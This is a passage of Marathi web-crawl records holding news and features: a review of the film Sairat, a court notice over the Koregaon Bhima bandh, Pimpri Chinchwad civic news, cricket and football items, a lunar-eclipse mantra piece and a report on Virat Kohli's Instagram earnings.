आहे जी नागराजने त्याच्या आधीच्या सिनेमांमधे वापरली आहे. सैराटमधे त्या शैलीला थोडा व्यावसायिक तडका देऊन एक भन्नाट प्रयोग यशस्वीरित्या हाताळला आहे. त्यामुळे सिनेमाची ऊंची वाढली आहे. प्रेक्षक डोळ्यापुढे ठेवून यशाची गणिते आखून तसं मुद्दाम केलं असं म्हणता येऊ शकेल. त्यात काही वावगं वाटून घ्यायची गरज नसावी कारण तो व्यावसायिक सिनेमा आहे आणि त्यातून पैसा कामावणे हा मुख्य उद्देश आहेच आणि असणारच महत्वाचे म्हणजे हा प्रयोग मराठीत झालाय आणि यशस्वीरित्या हाताळला जाऊन प्रभावी ठरलाय.\nकरमाळा तालुक्यातल्या गावांमधला निसर्ग वापरून केलेले चित्रीकरण आणि त्याने नटलेला सिनेमाचा कॅनव्हास पाहून माझे आजोळ असलेल्या करमाळयाचे हे रूप माझ्यासाठी अनपेक्षीत होते. (त्या वास्तवाची जाण करून देणारा म्हणून वास्तववादी असं म्हणण्याचा मोह आवरता येत नाहीयेय 😉)\nकलाकारनिवड अतिशय समर्पक, ती नागराजाची खासियत आहे हे आता कळले आहे. सिनेमा वास्तवादर्शी होण्यासाठी वास्तव जगणारी माणसं निवडण्याची कल्पकता सिनेमातली प्रात्र खरी आणि वास्तव वाटायला लावतात. रिन्कु राजगुरुने राष्ट्रीय पुरस्कार मिळवून तिची निवड आणि नागराजाची कलाकार निवडीची हातोटी किती सार्थ आहे ह्याला एका प्रकारे दुजोराच दिला आहे. सिनेमातली प्रत्येक पात्रनिवड अफलातून आहे. प्रत्येक पात्राची वेगळी आणि स्वतंत्र ओळख तयार झाली आहे. (प्रदीप उर्फ लंगड्याबद्दल काही इथे)\nसिनेमाची कथा ३ टप्प्यांमध्ये घडते. तिन्ही टप्पे एकमेकांशी गुंफलेले आहेत. तिन्ही टप्पे ज्या ठिकाणी एकत्र गुंफले जातात ते सांधे अतिशय प्रभावीपणे जुळवले आहेत. प्रत्येक टप्प्याचे सिनेमाच्या गोष्टीत एक स्वतंत्र महत्व आणि स्थान आहे. त्या त्या महत्वानुसार प्रत्येक ट्प्प्याला वेळ दिला आहे आणि तो अतिशय योग्य आहे. नागराजाच्या स्टोरी टेलींग कलेच्या अफाट क्षमतेचा तो महत्वाचा घटक आहे. पहिल्या ट्प्प्यात एक छान, निरागस प्रेमकाहाणी फुलते जी सिनेमाची पाया भक्कम करते. चित्रपटाचा कळस, तिसरा टप्पा, चपखल कळस होण्यासाठी ही भक्कम पायाभरणी किती आवश्यक होती हे सिनेमाने कळसाध्याय गाठल्यावरच कळते.\nमधला टप्पा, पहिल्या ट्प्प्याला एकदम व्यत्यास देऊन स्वप्नातून एकदम वास्तवात आणतो आणि वास्तव किती खडतर असतं हे परखडपणे दाखवतो. इथे डोळ्यात अंजन घालण्याचा कसलाही अभिनिवेश नाही. ही गोष्ट आणि आहे आणि वास्तवाशी निगडीत आहे हे अतिशय सोप्या पद्धतीने मांडले आहे. अतिशय साधी प्रेमकहाणी गोड शेवट असलेली (गल्लाभरू) करायची असती तर मधल्या ट्प्प्याची गरज नव्हती. इथे नीयो-रियालिझम वापरून नागराज वेगळेपण सिद्ध करतो.\nपण कळस आहे तो गोष्तीतला तिसरा टप्पा. दुसर्‍या ट्प्प्यातला वास्तवादर्शीपणा दाखवूनही गोड शेवट असलेला (गल्लाभरू) करता आला असता. पण संवेदनशीलतेने टिपलेल्या अनुभवांची, मनात घुमणारी आवर्तनं अभिव्यक्त करायला सिनेमा हे माध्यम प्रभावीपणे वापराण्याचे कसब असलेल्या नागराजचे वेगळेपण सिद्ध होते ते ह्या ट्प्प्यात ज्या पद्धतीने शेवट चित्रीत केलाय तो शेवट सानकन कानाखाली वाजवलेली चपराक असते.\nत्या शेवटाचे कल्पक सादरीकरण हे रूपक आहे, त्या चपराकीने आलेल्या सुन्नपणाचे, ज्याने बधीरता येऊन कान बंद होऊन येते आकस्मिक आणि क्षणिक बहिरेपण\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00238.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://amp.esakal.com/maharashtra/marathi-news-prakash-medhekar-government-koregaon-bhima-riots-101475", "date_download": "2018-09-25T16:44:30Z", "digest": "sha1:CJ6LUKGCILCHXHZC6QMD2RPJP2BUY7IY", "length": 6875, "nlines": 50, "source_domain": "amp.esakal.com", "title": "marathi news prakash medhekar government Koregaon Bhima riots सरकार, प्रकाश आंबेडकरांना नोटीस बजावणार | eSakal", "raw_content": "\nसरकार, प्रकाश आंबेडकरांना नोटीस बजावणार\nसकाळ वृत्तसेवा | बुधवार, 7 मार्च 2018\nमुंबई - कोरेगाव भीमामधील दंगलीच्या पार्श्‍वभूमीवर महाराष्ट्रात पुकारण्यात आलेल्या बंदच्या विरोधातील जनहित याचिकेमध्ये राज्य सरकार आणि दलित नेते प्रकाश आंबेडकर यांना मुंबई उच्च न्यायालयाने नोटीस बजावण्याचे निर्देश दिले.\nमुंबई - कोरेगाव भीमामधील दंगलीच्या पार्श्‍वभूमीवर महाराष्ट्रात पुकारण्यात आलेल्या बंदच्या विरोधातील जनहित याचिकेमध्ये राज्य सरकार आणि दलित नेते प्रकाश आंबेडकर यांना मुंबई उच्च न्यायालयाने नोटीस बजावण्याचे निर्देश दिले.\nकाही दिवसांपूर्वी मुंबईसह राज्यभर बंद पुकारण्यात आला होता. या बंदच्या विरोधात न्यायालयात जनहित याचिका दाखल झाली आहे. नागरिकांना वेठीस धरून बंद पुकारणे गैर असल्यामुळे बंद पुकारणाऱ्या संघटनांकडून झालेले सार्वजनिक नुकसान वसूल करावे, अशी मागणी याचिकादारांनी केली आहे. याचिकेवर आज न्या. शंतनू केमकर व न्या. एम. एस. कर्णिक यांच्या खंडपीठापुढे सुनावणी झाली. न्यायालयाने सरकारसह भारिप महासंघाचे नेते प्रकाश आंबेडकर व अन्य संबंधित संघटनांनाही नोटीस बजावली आहे. चार आठवड्यांत लेखी खुलासा करण्याचे निर्देशही दिले आहेत. राज्य सरकारने नुकसानीबाबत अहवाल तयार केला असून, संबंधितांवर कारवाई सुरू केली आहे, असा दावा सरकारच्या वतीने ॲड. हितेन वेणेगावकर यांनी केला. पोलिसांनी सुमारे ७४ फौजदारी तक्रारी दाखल केल्याचे सांगितले.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00240.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%9C%E0%A4%B2%E0%A4%AA%E0%A4%B0%E0%A5%8D%E0%A4%A3%E0%A5%80-%E0%A4%AE%E0%A5%81%E0%A4%95%E0%A5%8D%E0%A4%A4/", "date_download": "2018-09-25T17:59:36Z", "digest": "sha1:3P2K3EM7MD6YR4HGVHFLSHQKK76A7EOV", "length": 3493, "nlines": 48, "source_domain": "pclive7.com", "title": "जलपर्णी मुक्त | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nझी मराठी सारेगमप विजेता अक्षय घाणेकरने केले जलपर्णीमुक्त पवना अभियानात श्रमदान\nपिंपरी (Pclive7.com):- रोटरी क्लब ऑफ वाल्हेकरवाडीच्या ‘जलपर्णी मुक्त स्वच्छ व सुंदर पवनामाई उगम ते संगम’ या अभियानाला १२८ दिवस पूर्ण झाले. रविवार दि.११ रोजी केजुबाई बंधारा थेरगाव...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00240.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "http://pclive7.com/tag/girish-bapat/", "date_download": "2018-09-25T18:00:27Z", "digest": "sha1:XWRRDWA5W7ZPETZ7WME2R4SI2FT7ZQLP", "length": 4281, "nlines": 54, "source_domain": "pclive7.com", "title": "Girish Bapat | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nनवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा गिरीश बापट यांनी मागे घेतला\nपुणे (Pclive7.com):- राष्ट्रवादी काँग्रेसचे प्रवक्ते नवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा अन्न व नागरी पुरवठा मंत्री गिरीश बापट यांनी आज मागे घेतला. तूरडाळ व्यवहार प्रकरणात पुण्या...\tRead more\nजुन्या सायकल शेरिंग सेवेचा पालकमंत्र्यांच्या हस्ते नव्याने उद्घाटनाचा घाट – नाना काटे\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड स्मार्ट सिटी लिमिटेड (PCSCL) व पिंपरी चिंचवड महापालिकेच्या वतीने पिंपळे-सौदागर व पिंपळे गुरव येथे “सार्वजनिक सायकल सुविधा” (public bicycle sh...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00240.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/REL-DHA-UTLT-infog-lunar-eclipse-2018-mantra-for-happy-life-5925413-PHO.html", "date_download": "2018-09-25T16:34:54Z", "digest": "sha1:7V4KLY6NIPH62ZX7YLMSZKXOHOPVU6Z6", "length": 5372, "nlines": 154, "source_domain": "divyamarathi.bhaskar.com", "title": "Lunar Eclipse 2018 mantra for happy life | चंद्रग्रहणाच्या शुभफळ प्राप्तीसाठी करा या 5 पैकी कोणत्याही 1 मंत्राचा जप", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nचंद्रग्रहणाच्या शुभफळ प्राप्तीसाठी करा या 5 पैकी कोणत्याही 1 मंत्राचा जप\nआज (27 जुलै, शुक्रवार) रात्री चंद्रग्रहण आहे. शास्त्रानुसार, ग्रहण काळात पूजापाठ करू नये. याउलट मंत्र जप करावा.\nआज (27 जुलै, शुक्रवार) रात्री चंद्रग्रहण आहे. शास्त्रानुसार, ग्रहण काळात पूजापाठ करू नये. याउलट मंत्र जप करावा. ग्रहण काळात करण्यात आलेल्या मंत्र जपामुळे अक्षय पुण्य प्राप्त होते आणि मानसिक शक्ती वाढते. येथे जाणून घ्या, वेगवेगळ्या देवतांचे पाच सरळ मंत्र, यांचा जप ग्रहण काळात करू शकता.\nइतर चार मंत्र जप जाणून घेण्यासाठी पुढील स्लाईड्सवर क्लिक करा...\nश्राद्ध पक्षात खाऊ नये पान, 9 ऑक्टोबरपर्यंत लक्षात ठेवा या 7 गोष्टी\nश्राद्ध पक्ष सुरु : पाप मुक्तीसाठी प्रत्येकाने अवश्य करावे हे 3 दान\nघराच्या छतावर कावळ्यासाठी का ठेवले जाते अन्न, सूर्यास्तानंतर का करू नये श्राद्ध कर्म\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00240.warc.wet.gz", "language": "mr", "language_score": 0.68, "bucket": "all"} {"url": "https://mahasports.co.in/ipl-10-special-cricketer-emojis-and-fans-cant-get-enough-of-them/", "date_download": "2018-09-25T17:02:01Z", "digest": "sha1:UBJIJMLZ72CLKPLN52VDQSIFWXADXWAA", "length": 6313, "nlines": 60, "source_domain": "mahasports.co.in", "title": "आयपीएल २०१७चा 'ईमोजी' खेळ -", "raw_content": "\nआयपीएल २०१७चा ‘ईमोजी’ खेळ\nआयपीएल २०१७चा ‘ईमोजी’ खेळ\nदरवर्षीप्रमाणे या वर्षी देखील आयपीएलचा बोलबाला चांगलाच रंगला. एकतर १० वे पर्व आणि त्यात अनेक असे खेळाडू जे पुढच्या पर्वात असतील की नाही ही शंका, अश्या अनेक बाबींमुळे हे पर्व रसिकांनी डोक्यावर घेतले. दरवर्षीप्रमाणे या वर्षी अनेक नवीन गोष्टी आपल्याला बघायला मिळाल्या. टीमच्या जर्सी असोत किंवा दोन नवीन संघ असोत.\nत्याच बरोबर आणखीन एक वेगळी पण लोकांना अतिशय आवडलेली गोष्ट म्हणजे त्यांच्या आवडत्या खेळाडूंचे ‘इमोटीकॉन’.\nट्विटरवर आपल्या आवडीच्या खेळाडूचे नाव लिहिल्यावर त्याच्या नावासोबत त्याचे चित्र आपल्याला दिसते. आता आयपीएलचा अंतिम टप्पा जवळ आला आहे, २१ मे रोजी या मोसमाचा अंतिम सामना खेळाला जाणार आहे. त्यासाठी आयपीएलने #IPLFinal असा नवीन इमोटीकॉन काढला आहे. हा नवीन ईमोजी नुकताच आयपीएलने आपल्या ट्विटर हॅन्डलवर शेर केला आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00240.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mahasports.co.in/isl-2017-fc-punecity-vs-chennaiyin-fc/", "date_download": "2018-09-25T17:27:09Z", "digest": "sha1:NHZQHO2GI55V4FJPE5YPXGI3JKNVTB2I", "length": 7443, "nlines": 60, "source_domain": "mahasports.co.in", "title": "ISL 2017: आज एफसी पुणे सिटी विरुद्ध चेन्नईन एफसी संघात रंगणार सामना -", "raw_content": "\nISL 2017: आज एफसी पुणे सिटी विरुद्ध चेन्नईन एफसी संघात रंगणार सामना\nISL 2017: आज एफसी पुणे सिटी विरुद्ध चेन्नईन एफसी संघात रंगणार सामना\n आज आयएसएल स्पर्धेत एफसी पुणे सिटी विरुद्ध चेन्नईन एफसी संघात सामना रंगणार आहे. हा सामना पुण्याच्या घरच्या मैदानावर श्री शिवछत्रपती स्पोर्टस कॉम्प्लेक्स, म्हाळुंगे, बालेवाडी स्टेडिअमवर होणार आहे. संध्याकाळी ५.३० वाजता सामना सुरु होईल.\nपुणे संघाने या मोसमात आत्तापर्यंत झालेल्या ३ सामन्यांपैकी २ सामन्यात विजय मिळवला आहे. सलामीच्या सामन्यात त्यांना दिल्ली डायनामोज एफसी विरुद्ध पराभव स्वीकारावा लागला होता. त्यानंतर मात्र पुणे संघ विजयी पथावर परत आले. त्यांनी एटीके कोलकाता आणि मुंबई सिटी एफसी संघांविरुद्ध विजय मिळवला आहे.\nघरच्या मैदानावर होत असलेल्या या सामन्यात विजयी लय कायम राखण्यासाठी आणि सलग तिसरा विजय मिळवण्यासाठी एफसी पुणे सिटी प्रयत्न करेल.\nयाबरोबरच चेन्नईन एफसी संघही त्यांची विजयी लय कायम राखण्याच्या प्रयत्नात असेल. त्यांचा हा तिसरा सामना आहे. सलामीच्या सामन्यात त्यांना २-३ अश्या फरकाने एफसी गोवा विरुद्ध पराभव स्वीकारावा लागला होता. त्यानंतर मात्र त्यांनी पुढच्याच सामन्यात नॉर्थईस्ट युनायटेड एफसी संघाविरुद्ध ३-० अश्या फरकाने विजय मिळवला आहे.\nया दोन्ही संघात आत्तापर्यंत झालेल्या ६ सामन्यांपैकी ४ सामन्यात चेन्नई संघाने विजय मिळवला आहे तर दोन सामने अनिर्णित राहिले आहेत.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00241.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/news/virat-kohli-earns-more-than-three-crores-with-a-single-post-on-instagram-273876.html", "date_download": "2018-09-25T16:48:58Z", "digest": "sha1:T6AIWND26H3L4Q2BLPSWVWFQT4PVAIJO", "length": 14134, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "विराट कोहली इंस्टाग्रामच्या एका प्रमोशनल पोस्टवर तब्बल 3.2 कोटी कमावतो !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nविराट कोहली इंस्टाग्रामच्या एका प्रमोशनल पोस्टवर तब्बल 3.2 कोटी कमावतो \nक्रिकेटच्या मैदानावर धावांची लयलूट करणारा जाहिरातबाजीतून करोडोंची कमावतोय तुम्हाला विश्वास बसणार नाही पण विराट कोहली त्याच्या इंस्टाग्राम अकाऊंटवरील एका प्रमोशन पोस्टमागे तब्बल 3.2 कोटींची कमाई करतो.\nमुंबई, 08 नोव्हेंबर : क्रिकेटच्या मैदानावर धावांची लयलूट करणारा जाहिरातबाजीतून करोडोंची कमावतोय तुम्हाला विश्वास बसणार नाही पण विराट कोहली त्याच्या इंस्टाग्राम अकाऊंटवरील एका प्रमोशन पोस्टमागे तब्बल 3.2 कोटींची कमाई करतो. म्हणजेच समजा त्याने त्याच्या इंस्टाग्राम अकाऊंटवरून एखाद्या ब्रँडची जाहिरात केली तर त्याला प्रतिपोस्ट तब्बल 3.2 कोटी रुपये मिळतात. बिझनेस मॅगझीन फोब्सच्या माहितीनुसार विराटची कमाई जागतिक फूटबॉल पटू लिओनेल मेसीपेक्षाही अधिक आहे.\nइंस्टाग्रामवर विराट कोहलीचे दीड कोटी फॉलोअर्स आहेत. ट्विटरवर विराटला तब्बल 2 कोटी फॉलोअर्स आहेत एवढंच नाहीतर त्याच्या फेसबूक पेजलाही तब्बल 3 कोटी 60 लाख फालो करतात. सोशल मीडियावरील कोहलीच्या या 'विराट' लोकप्रियतेमुळे साहजिकच त्याच्या ब्रँड व्हॅल्यूमध्येही 'छप्परफाड' कमाई वाढलीय. अर्थात स्वतः विराट कोहली देखील सोशल मीडियावर इतर कोणत्याही खेळाडूपेक्षा जरा जास्तच अँक्टिव्ह असतो. त्यामुळेच त्याच्या जाहिरातीच्या मानधनातही घशघशीत वाढ झालीय.\nइंस्टाग्रामवरील ब्रँड प्रमोशनच्या कमाईत विराटचा दुसरा क्रमांक लागतो, तर पहिल्या क्रमांकावर आघाडीचा फूटबॉलपटू क्रिस्टियानो रोनॉल्डो आहे, त्याची कमाई एका पोस्टमागे 6.4 कोटी इतकी आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 